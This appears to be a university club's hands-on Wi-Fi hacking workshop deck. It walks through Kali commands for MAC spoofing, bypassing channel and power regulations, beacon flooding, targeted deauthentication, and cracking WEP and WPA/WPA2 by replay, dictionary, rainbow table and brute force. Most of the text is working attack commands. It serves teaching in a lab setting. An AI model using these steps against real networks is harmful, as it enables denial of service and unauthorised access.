1. ACM Wi-Fi Workshop Presented By: Chris Rawlings Brad Emge

2. Disclaimer By participating in this workshop you agree to be hacked for demonstration purposes only. Don't worry, no personal data will be collected or stored. Tools demonstrated in this panel are legitimate devices that comply with all the necessary rules and regulations and are used by Governments and Penetration testers to conduct lawful spying and security audits. The contents of this file are for educational purposes only. It is strongly suggested that you do not use this knowledge for illegal purposes.

3. Information All steps in this slide show were performed and tested on 32-bit kali linux version 1.0.6 with an Alfa AWUSO36H USB wireless card(these are the operating system and wireless card you have in front of you). Any statement that beings with ‘#’ is a command to be typed in the terminal

4. What is Kali Linux Debian based Linux operating system Designed for the sole purpose of penetration testing, exploitation, and hacking

5. Booting into Kali Linux Start with computer off Plug in flash drive and USB wireless card Boot the computer off of the USB flash drive From YUMI select system tools then kali Select live (686-pae) from the boot menu

6. Post Kali Boot Make sure that your computer is not in “airplane” mode –Click applications  system tools  preferences  system settings  network –Make sure airplane mode is off –Close that window

7. Temporarily Connecting to The Internet Click the network icon in the upper right –Looks like two computers with a red circle and a X Select the MST-PSK-N network Make sure you are connecting with the non-realtek wireless adapter Enter the password “JoeMiner”

8. Getting Necessary Files Open the terminal Type #wget http://tinyurl.com/acmwifiworkshopfil es http://tinyurl.com/acmwifiworkshopfil es Open root under the places menu Unzip the file and make sure the files are all in the root folder

9. Terms and Definitions Access Point(AP) Bandwidth Channel Evil Twin Frequency Honeypot IEEE 802.11

10. Terms and Definitions IP Address ISM Band MAC Address Modes of Wi-fi NIC Packet

11. Terms and Definitions Rainbow Table WEP Wi-Fi WPA WPA2 WPS

12. FINDING THE CORRECT WIRELESS CARD

13. Open the terminal

14. Type #airmon-ng

15. FINDING YOUR MAC ADDRESS

16. Type #ifconfig wlan1 ifconfig –program we are using wlan1 –interface we want information on

17. #ifconfig wlan1

18. CHANGING YOUR MAC ADDRESS

19. Type #ifconfig wlan1 down ifconfig –program that we are running wlan1 –interface we are operating on down –disable the interface

20. #ifconfig wlan1 down

21. Type #macchanger –m de:ad:be:ef:c0:fe wlan1 macchanger –program we are using -m –manually set the MAC address de:ed:be:ef:c0:fe –MAC address of your choice wlan1 –interface we are changing the MAC of

22. #macchanger –m de:ad:be:ef:c0:fe wlan1

23. Type #ifconfig wlan1 up ifconfig –program that we are running wlan1 –interface we are operating on down –enable the interface

24. #ifconfig wlan1 up

25. Type #ifconfig wlan1 ifconfig –program we are using wlan1 –interface we are interested in

26. #ifconfig wlan1

27. RANDOMLY CHANGING YOUR MAC ADDRESS

28. Type #ifconfig wlan1 down ifconfig –program that we are running wlan1 –interface we are operating on down –disable the interface

29. #ifconfig wlan1 down

30. Type #macchanger –r wlan1 macchanger –program we are using -r –random MAC address wlan1 –interface we are operating on

31. #macchanger –r wlan1

32. Type #ifconfig wlan1 up ifconfig –program we are using wlan1 –interface we are interested in up –enable the interface

33. #ifconfig wlan1 up

34. Type #ifconfig wlan1 ifconfig –the program we are using wlan1 –the interface we are interested in

35. #ifconfig wlan1

36. CHANGING YOUR MAC ADDRESS BACK TO IT’S FACTORY SETTING

37. Type #ifconfig wlan1 down ifconfig –program that we are running wlan1 –interface we are operating on down –disable the interface

38. #ifconfig wlan1 down

39. Type #macchanger –p wlan1 macchanger –the program we are using -p –changes the MAC back to factory settings wlan1 –the interface we are operating on

40. #macchanger –p wlan1

41. Type #ifconfig wlan1 up ifconfig –program we are using wlan1 –interface we are interested in up –enable the interface

42. #ifconfig wlan1 up

43. Type #ifconfig wlan1 ifconfig –the program we are using wlan1 –the interface we are interested in

44. #ifconfig wlan1

45. CHANGING THE CHANNEL OF YOUR WIRELESS CARD

46. type #iwconfig wlan1 iwconfig –program we are using wlan1 –interface we are interested in

47. #iwconfig wlan1

48. type #iwconfig wlan1 channel c iwconfig –program we are using wlan1 –interface we are operating on channel –allows you to change the channel c –specific channel you wish to use 1,2,3…

49. #iwconfig wlan1 channel c

50. type #iwconfig wlan1 iwconfig –program we are using wlan1 –interface we are interested in

51. #iwconfig wlan1

52. OPERATING OUTSIDE OF US REGULATION FREQUENCIES

53. type #iw reg get iw –program we are using reg –short for regulation get –show the iw regulation settings

54. #iw reg get

55. type #iw reg set JP iw –program we are using reg –short for regulation set –allows us to set the country regulation JP –country code for japan allows us to operate on channels 12,13,&14

56. #iw reg set JP

57. type #iw reg get iw –program we are using reg –short for regulation get –show the iw regulation settings

58. #iw reg get

59. Type #iwconfig wlan1 channel 14 iwconfig –program we are using wlan1 –interface we are operating on channel –allows us to set the channel 14 –channel we are setting

60. #iwconfig wlan1 channel 14

61. Type #iwconfig wlan1 iwconfig –program we are using wlan1 –interface we are interested in

62. #iwconfig wlan1

63. CHANGING THE CHANNEL BACK TO A LEGAL FREQUENCY

64. type #iwconfig wlan1 channel c iwconfig –program we are using wlan1 –interface we are operating on channel –allows you to change the channel c –specific channel you wish to use 1,2,3…

65. #iwconfig wlan1 channel c

66. OPERATING YOUR WIRELESS CARD WITH MORE POWER

67. Type #iwconfig wlan1 iwconfig –program we are using wlan1 –interface we are operating on

68. #iwconfig wlan1

69. Type #iw reg set BO iw –program we are using reg –short for regulation set –allows us to set the country regulation BO –country code for Bolivia

70. #iw reg set BO

71. Type #iwconfig wlan1 txpower 30 iwconfig –program we are using wlan1 –interface we are operating on txpower –stands for transmit power 30 –power output in dBm

72. #iwconfig wlan1 txpower 30

73. Type #iwconfig wlan1 iwconfig –program we are using wlan1 –interface we are operating on

74. #iwconfig wlan1

75. Note on Transmit Power The power output has increased from.1 Watt to 1 Watt With our current equipment(Wi-Fi card and antenna) we will not be violating FCC regulation, however with a higher gain antenna we could be

76. FINDING THE MODES YOUR WIRELESS CARDS SUPPORTS

77. Type #airmon-ng airmon-ng –program we are using

78. #airmon-ng

79. Type #iw phy phy0 info|grep –A3 modes iw –program we are using phy –search based upon physical device number phy0 –physical device number from airmon-ng info –give us the info about the phy0 device | grep –pipes the output into the program grep -A3 –indicates to output 3 lines are the given search term modes –the term we are searching for with grep

80. #iw phy phy0 info|grep –A3 modes

81. Modes Supported IBSS –ad-hoc mode –computer to computer connection managed –allows you to connect to networks –your Wi-Fi card is usually in managed mode monitor –promiscuous mode –allows you to view traffic not destined to your card

82. OPERATING YOUR CARD IN AD-HOC MODE

83. Type #ifconfig wlan1 down ifconfig –program that we are running wlan1 –interface we are operating on down –disable the interface

84. #ifconfig wlan1 down

85. Type #iwconfig wlan1 mode ad-hoc iwconfig –program we are using wlan1 –interface we are operating on mode –allows us to set a specific mode ad-hoc –the mode we will be using

86. #iwconfig wlan1 mode ad-hoc

87. Type #iwconfig wlan1 channel 1 iwconfig –program we are using wlan1 –interface we are operating on channel –allows us to change the channel 1 –specific channel we are using 1,2,3…

88. #iwconfig wlan1 channel 1

89. Type #iwconfig wlan1 essid ‘nameofnetwork’ iwconfig –program we are using wlan1 –interface we are operating on essid –allows us to set the network name ‘nameofnetwork’ –name of the network

90. iwconfig wlan1 essid ‘nameofnetwork’

91. Type #iwconfig wlan1 key s:’password’ iwconfig –program we are using wlan1 –interface we are operating on key –allows us to operate a network with a WEP key –a WPA/WPA2 key is not possible(I think) s: –indicates the key entered is in ASCII ‘password’ –the key as an ASCII String

92. #iwconfig wlan1 key s:’password’

93. Type #ifconfig wlan1 up ifconfig –program we are using wlan1 –interface we are operating on up –enable the interface

94. #ifconfig wlan1 up

95. Type #iwconfig wlan1 iwconfig –the program we are using wlan1 –the interface we are operating on

96. #iwconfig wlan1

97. TURNING OFF AD-HOC MODE

98. type #iwconfig wlan1 mode managed iwconfig –program we are using wlan1 –interface we are operating on mode –allows us to change the mode of the adapter managed –sets managed mode

99. OPERATING YOUR CARD IN MONITOR MODE

100. type #airmon-ng start wlan1 airmong-ng –program we are using start –enables monitor mode wlan1 –interface we wish to enable monitor mode on

101. #airmon-ng start wlan1

102. type #kill 3018 & kill 3853 kill –command to stop programs from running 3018 –PID of process from slide before & –and, allows multiple commands in one line

103. #kill 3018 & kill 3853

104. type #iwconfig iwconfig –program we are using

105. #iwconfig

106. DATA GATHERING IN MONITOR MODE

107. type #tshark –i mon0 tshark –program we are using –terminal wireshark -i –interface mon0 –interface we are operating on

108. #tshark –i mon0

110. type ctrl-c crtl-c –stops the running program

111. type #airodump-ng mon0 airodump-ng –program we are using mon0 –interface we wish to view wireless traffic on

112. #airodump-ng mon0

114. BSSID –MAC address of access point station –MAC address of connected client Probe –shows what access points a station is looking for

115. type ctrl-c crtl-c –stops the running program

116. BEACON FLOODING

117. What are Beacons Management Frame in IEEE 802.11(Wi-Fi) Transmitted to announce the presence of a network Includes information such as the name, the channel, supported data speeds, whether or not it is encrypted, etc.

118. type #nano ssidlist nano –text editor I am using –you may use something else if you prefer ssidlist –filename for the text file that will contain the SSIDS we will be broadcasting

119. #nano ssidlist

120. type different network names on separate lines

121. type ctrl-x, y, enter This saves the file in nano you could also write out the file and then exit this may be different if you didn’t use nano

122. type #mdk3 mon0 b –f ssidlist mdk3 –program we are using mon0 –interface we are operating on b –means to send out beacon frames ssidlist –text files with the network names in it

123. #mdk3 mon0 b –f ssidlist

125. type ctrl-c to stop stops the running program

126. VIEWING PROBE REQUESTS

127. What are Probe Requests Management Frame in IEEE 802.11(Wi-Fi) A packet sent from a client(computer, phone, etc) to see if a network is within range Your devices are constantly sending out Probe Requests and we can view them(also exploit them, but that’s later)

128. type #airodump-ng mon0 airodump-ng –program we are using mon0 –interface we are operating on

129. #airodump-ng mon0 In a very dense Wi-Fi environment, we will be unable to see the probe requests at first to fix this –zoom out available from the view menu –stop the program with ctrl-c –zoom in available from the view menu

130. #airodump-ng mon0

131. PASSIVE NETWORK SCAN

132. Type #iw dev wlan1 scan passive | grep SSID iw –program we are using dev –indicates that we are identifying our Wi-Fi card by device number and not physical number wlan1 –interface we wish to scan on passive –indicates that no packets should be sent | grep –program that is used to search the output SSID –the word that grep will be searching for

133. #iw dev wlan1 scan passive | grep SSID

134. ACTIVE NETWORK SCAN

135. Type #iwlist wlan1 scan | grep ESSID iwlist –program we are using wlan1 –interface we are scanning on scan –indicates we wish to scan |grep –program used to search the output of iwlist ESSID –the word we are searching for with grep

136. #iwlist wlan1 scan | grep ESSID

137. DEAUTHENTICATION

138. What is Deauthentication Management Frame in IEEE 802.11(Wi-Fi) Allows clients to be kicked off of a wireless access point These are naturally occurring in wireless traffic and users do not even recognize it We can send excessive amounts of these packets to prevent a client from connecting

139. DEAUTHENTICATION DIRECTED AT A PARTICULAR CLIENT

140. Type #airodump-ng mon0 airodump-ng –program we are using mon0 –interface we are operating on

141. #airodump-ng mon0

142. type ctrl-c when you have finished finding your target

143. Type #iwconfig mon0 channel 11 iwconfig –program we are using mon0 –interface we are changing the channel of channel –indicates we are changing the channel 11 –channel we are changing to

144. #iwconfig mon0 channel 11

145. Type #aireplay-ng --ignore-negative- one -0 10 –a 00:1a:c4:51:3c:31 –c d4:20:6d:41:78:b2 mon0 aireplay-ng –program we are using --ignore-negative-one –needed because of a potential driver issue –you may be able to get it to work without this -0 –indicates deauthentication packet 10 –number of deauths to send -a 00:1a:c4:51:3c:31 –access point MAC address -c d4:20:6d:41:78:b2 –client MAC address mon0 –interface to send deauth packets out on

146. #aireplay-ng --ignore-negative-one -0 10 –a 00:1a:c4:51:3c:31 –c d4:20:6d:41:78:b2 mon0

147. DEAUTHENTICATION DIRECTED TOWARD A SPECIFIC NETWORK

148. Type #airodump-ng mon0 airodump-ng –program we are using mon0 –interface we are using

149. #airodump-ng mon0

150. type ctrl-c when you have finished finding your target

151. Type #iwconfig mon0 channel 11 iwconfig –program we are using mon0 –interface we are changing the channel of channel –indicates we are changing the channel 11 –channel we are changing to

152. #iwconfig mon0 channel 11

153. Type #nano blacklist nano –text editor we are using –you may use something else if you prefer blacklist –name of the text file we are editing

154. #nano blacklist

156. Separate MAC addresses by putting them on separate lines. In this case we are only targeting a single Access Point Type ctrl-x, y, enter –this saves the file

157. Type #mdk3 mon0 d –b blacklist –c 11 mdk3 –program we are using mon0 –interface we are deauthenticating from d –indicates deauthentication packets are to be sent -b –indicates that we are using a blacklist. We are wanting to attack the indicated access points blacklist –file that has the list of MAC addresses to deauth -c –indicates what channel to use 11 –channel the access points are operating on

158. #mdk3 mon0 d –b blacklist –c 11

159. type ctrl-c to stop the program

160. DEAUTHENTICATION DIRECTED TOWARD MULTIPLE NETWORKS

161. Type #airodump-ng mon0 airodump-ng –program we are using mon0 –interface we are using

162. #airodump-ng mon0

163. Type #nano blacklist nano –text editor we are using –you may use something else if you prefer blacklist –name of the text file we are editing

164. #nano blacklist

166. Separate MAC addresses by putting them on separate lines. In this case we are only targeting a single Access Point Type ctrl-x, y, enter –this saves the file

167. Type #mdk3 mon0 d –b blacklist –c 6,11 mdk3 –program we are using mon0 –interface we are deauthenticating from d –indicates deauthentication packets are to be sent -b –indicates that we are using a blacklist. We are wanting to attack the indicated access points blacklist –file that has the list of MAC addresses to deauth -c –indicates what channel to use 6,11 –channels the access points are operating on

168. #mdk3 mon0 d –b blacklist –c 6,11

169. type ctrl-c to stop the program

170. CLIENTS FORCED TO CONNECT TO A SPECIFIC ACCESS POINT

171. Type #airodump-ng mon0 airodump-ng –program we are using mon0 –interface we are operating on

172. #airodump-ng mon0

173. type ctrl-c when done finding the access point to wish for clients to connect to

174. Type #nano whitelist nano –text editor we are using –you may use something else if you prefer whitelist –text file with the list of MAC addresses of the access points you want clients to be able to connect to

175. #nano whitelist

177. note that it is possible to enter multiple MAC addresses in this file as well type ctrl-x, y, enter with finished

178. Type #mdk3 mon0 d –w whitelist mdk3 –program we are using mon0 –interface to send deauth packets from d –indicates to deauthenticate clients -w –indicates we are whitelisting specific access points whitelist –text file that contains the MAC address of the AP we want clients to connect to –deauths all APs other than those on this list

179. #mdk3 mon0 d –w whitelist

180. type ctrl-c when done sending deauth packets

181. BREAKING ENCRYPTION

182. BREAKING WEP ENCRYPTION

183. Breaking WEP Encryption

184. Steps –Identify Network –Begin collecting data –cause extra data to be generated optional will not want to be done if conducting a passive attack –start cracking once the number of Initialization Vectors(IVs) reaches 50,000

185. Type #airodump-ng mon0 airodump-ng –program we are using mon0 –interface we are operating on

186. #airodump-ng mon0

187. Notice that in the ENC column it says WEP. Any WEP encrypted access point is vulnerable. type ctrl-c when you have finished finding your target

188. #airodump-ng mon0

190. Breaking WEP Encryption open a new table in the terminal window file  new tab

191. Type #aireplay-ng --ignore-negative- one -1 0 –a 12:18:0a:21:ae:e4 –h 00:c0:ca:75:6f:ab mon0 aireplay-ng –program we are using --ignore-negative-one –needed because of a potential driver issue –this may not be needed –Associates with the Access Point -a 12:18:0a:21:ae:e4 –indicates MAC address of AP & MAC of the AP -h 00:c0:ca:75:6f:ab –sets source MAC address & MAC of our wireless card mon0 –interface we are operating on

192. Type #aireplay-ng --ignore-negative- one -1 0 –a 12:18:0a:21:ae:e4 –h 00:c0:ca:75:6f:ab mon0

193. Type #aireplay-ng --ignore-negative- one -3 –b 12:18:0a:21:ae:e4 –h 00:c0:ca:75:6f:ab mon0 aireplay-ng –program we are using --ignore-negative-one –needed because of a potential driver issue –this may not be needed -3 –ARP Request Replay Attack –most effective way to generate new IVs -b 12:18:0a:21:ae:e4 –indicates MAC address of AP & MAC of the AP -h 00:c0:ca:75:6f:ab –sets source MAC address & MAC of our wireless card mon0 –interface we are operating on

194. #aireplay-ng --ignore-negative-one -3 –b 12:18:0a:21:ae:e4 –h 00:c0:ca:75:6f:ab mon0

195. Breaking WEP Encryption Go back to the first tab and wait until the number in the data column >50000 This number is not set since the attack we are doing is based upon statistics. Sometimes you can break it with half as many and sometimes you need twice as many or more. The length of the key also contributes to the number of IVs that are needed

196. Breaking WEP Encryption

197. Open a new tab in the terminal

198. Type #aircrack-ng –b 12:18:0a:21:ae:e4 acm_wep- 01.cap aircrack-ng –program we are using -b 12:18:0a:21:ae:e4 –the MAC address of the target Access Point acm_wep-01.cap –the file that contains the files captures with airodump-ng

199. #aircrack-ng –b 12:18:0a:21:ae:e4 acm_wep- 01.cap

200. If you are not successful wait until the number captured increases to the suggested number and then try again

201. #aircrack-ng –b 12:18:0a:21:ae:e4 acm_wep- 01.cap

202. If successful, you will see the image previous. Go back to the other two tabs and stop the running programs using ctrl-c

203. BREAKING WPA&WPA2 ENCRYPTION

204. Breaking WPA&WPA2 Encryption What makes WPA&WPA2 more difficult to break into? –larger key –does not use RC4 –Used Network as well as password to computer the key

205. Breaking WPA&WPA2 Encryption No short cut like in breaking WEP Must brute force the key Hope that it is a dictionary word or something very simple such as ten numbers Three networks set up for breaking into –dictionary password –8-char alpha-numeric –random

206. Breaking WPA&WPA2 Encryption Process –Begin listen to the packets on that network –Capture 4-way handshake between AP and client this can be done passively or by deauthentication –take that captured handshake and try different sources of passwords to break it –wait and see

207. BREAKING WPA WITH A DICTIONARY LIST

208. Type #airodump-ng mon0 airodump-ng –program we are using mon0 –interface we are using to listen on

209. #airodump-ng mon0

210. After finding the target network type ctrl-c to stop running the program

211. Type #airodump-ng –c 11 --bssid 00:1a:c4:51:3c:31 --w acm_dictionary mon0 airodump-ng –program we are using -c 11 –says to listen on channel 11 --bssid 00:1a:c4:51:3c:31 –listen for traffic to and from this Access point --w acm_dictionary –file to save the data to mon0 –interface we are listening on

212. #airodump-ng –c 11 --bssid 00:1a:c4:51:3c:31 --w acm_dictionary mon0

214. The previous image shows connected clients to the specific access point At this point you could wait for the handshake to occur or you could force it to occur by means of deauth

215. Breaking WPA&WPA2 encryption Open a new tab in terminal This can be done by going to file  new tab

216. Type #iwconfig mon0 channel 11 iwconfig –program we are using mon0 –interface we are operating on channel –allows us to change the channel 11 –specific channel we are changing the interface to

217. #iwconfig mon0 channel 11

218. Type #aireplay-ng --ignore-negative- one -0 10 –a 00:1a:c4:51:3c:31 –c d4:20:6d:41:78:c9 mon0 aireplay-ng –program we are using --ignore-negative-one –needed because of a potential driver issue –you may be able to get it to work without this -0 –indicates deauthentication packet 10 –number of deauths to send -a 00:1a:c4:51:3c:31 –access point MAC address -c d4:20:6d:41:78:b2 –client MAC address mon0 –interface to send deauth packets out on

219. #aireplay-ng --ignore-negative-one -0 10 –a 00:1a:c4:51:3c:31 –c d4:20:6d:41:78:c9 mon0

220. Type #aireplay-ng --ignore-negative- one -0 10 –a 00:1a:c4:51:3c:31 –c d4:20:6d:41:78:c9 mon0

221. Breaking WPA&WPA2 encryption Go back to the first tab and you should see an image similar to the following The WPA handshake in the top must be there to proceed

222. #airodump-ng –c 11 --bssid 00:1a:c4:51:3c:31 --w acm_dictionary mon0

223. Breaking WPA&WPA2 encryption Make sure the dictionary files that you downloaded earlier are in the same folder as your.cap files. This should be in the root directory We will be demonstrating using the english.txt file, however feel free to experiment with the others

224. Type #aircrack-ng acm_dictionary-01.cap –w english.txt aircrack-ng –program we are using to crack the key acm_dictionary-01.cap –network capture file with the handshake in it -w –indicates that a word list is to be used english.txt –the file name containing the wordlist

225. #aircrack-ng acm_dictionary- 01.cap –w english.txt

226. If not successful that means that the password was not in that list of words You could try using a larger word list or begin brute forcing to break the password If successful you should see the following

227. #aircrack-ng acm_dictionary- 01.cap –w english.txt

228. BREAKING WPA&WPA2 USING A RAINBOW TABLE

229. What is a Rainbow Table pre-computed table of hashed value they are built for a specific SSID(network name) built using a dictionary or some other source of passwords Takes a long time to compute and is a very large file –Usually done on a very powerful computer The rainbow can then be used to quickly find a password

230. Breaking WPA&WPA2 using a Rainbow Table Because we already have the handshake, we do not need to re- capture it. We will be using the same.cap file as the previous example

231. Breaking WPA&WPA2 encryption Make sure the rainbow table that you downloaded earlier is in the same folder as your.cap files. This should be in the root directory We will be demonstrating using the acm_dictionary_hash file This file was created from the english.txt dictionary file specifically for this SSID

232. Type #cowpatty –r acm_dictionary-01.cap –d acm_dictionary_hash –s acm_dictionary cowpatty –program we are using -r acm_dictionary-01.cap –the file that has the four way handshake in it -d acm_dictionary_hash –the file that is the pre-computed hashed for this specific SSID -s acm_dictionary –telling cowpatty what the name of the network is

233. #cowpatty –r acm_dictionary- 01.cap –d acm_dictionary_hash – s acm_dictionary

234. If the password was not in the source file used to generate the rainbow table then this technique will fail and you’ll either have to try the dictionary attack, make a new rainbow table, or brute force the password If successful, you will see the following image

235. #cowpatty –r acm_dictionary- 01.cap –d acm_dictionary_hash – s acm_dictionary

236. COMPUTING A PERSONALIZED RAINBOW TABLE

237. Computing a personalized rainbow table As this is very time consuming, it is usually only done for very common SSID names such as netgear, linksys, etc This is also used when you know the network name in advance and wish to prepare for the attack on the network

238. Type #airodump-ng mon0 airodump-ng –program we are using mon0 –interface we are using to listen on

239. #airodump-ng mon0

240. After finding the target network type ctrl-c to stop running the program

241. Type #genpmk –f english.txt –d acm_dictionary_hash –s acm_dictionary genpmk –the program we are using -f english.txt –the file serving as the source of passwords -d acm_dictionary_hash –what the rainbow table should be saved as -s acm_dictionary –telling genpmk what the SSID is so that it can be hashed appropriately

242. #genpmk –f english.txt –d acm_dictionary_hash –s acm_dictionary

244. BRUTE FORCING A PASSWORD

245. Brute forcing a password This is the most time consuming method although is guaranteed to eventually find the password

246. Brute forcing a password As you already have the four way hand shake, we will be moving right into the cracking portion of this example

247. Type #john –stdout –incremental:all | aircrack-ng –b 00:1a:c4:51:3c:31 –w – acm_dictioanry-01.cap john –program we using. short for john the ripper -stdout –directs standard out to aircrack-ng -incremental:all –will increment through all possible passwords | aircrack-ng –second program we are running with the input being supplied by john the ripper -b 00:1a:c4:51:3c:31 –tells aircrack-ng which access point to attack -w – –this is where the standard output of john the ripper is going acm_dictionary-01.cap –the file containing the four way handshake to be brute forced

248. Type #john –stdout –incremental:all | aircrack-ng –b 00:1a:c4:51:3c:31 –w – acm_dictioanry-01.cap

250. Brute forcing a password The previous slide shows John the Ripper and aircrack-ng being used together There are ways to cut down on the number of possible passwords, for example –if you know the password is 14 characters, you can have john skip passwords less than and greater than 14 characters. This is the longest way to crack a password but also a guaranteed way to do it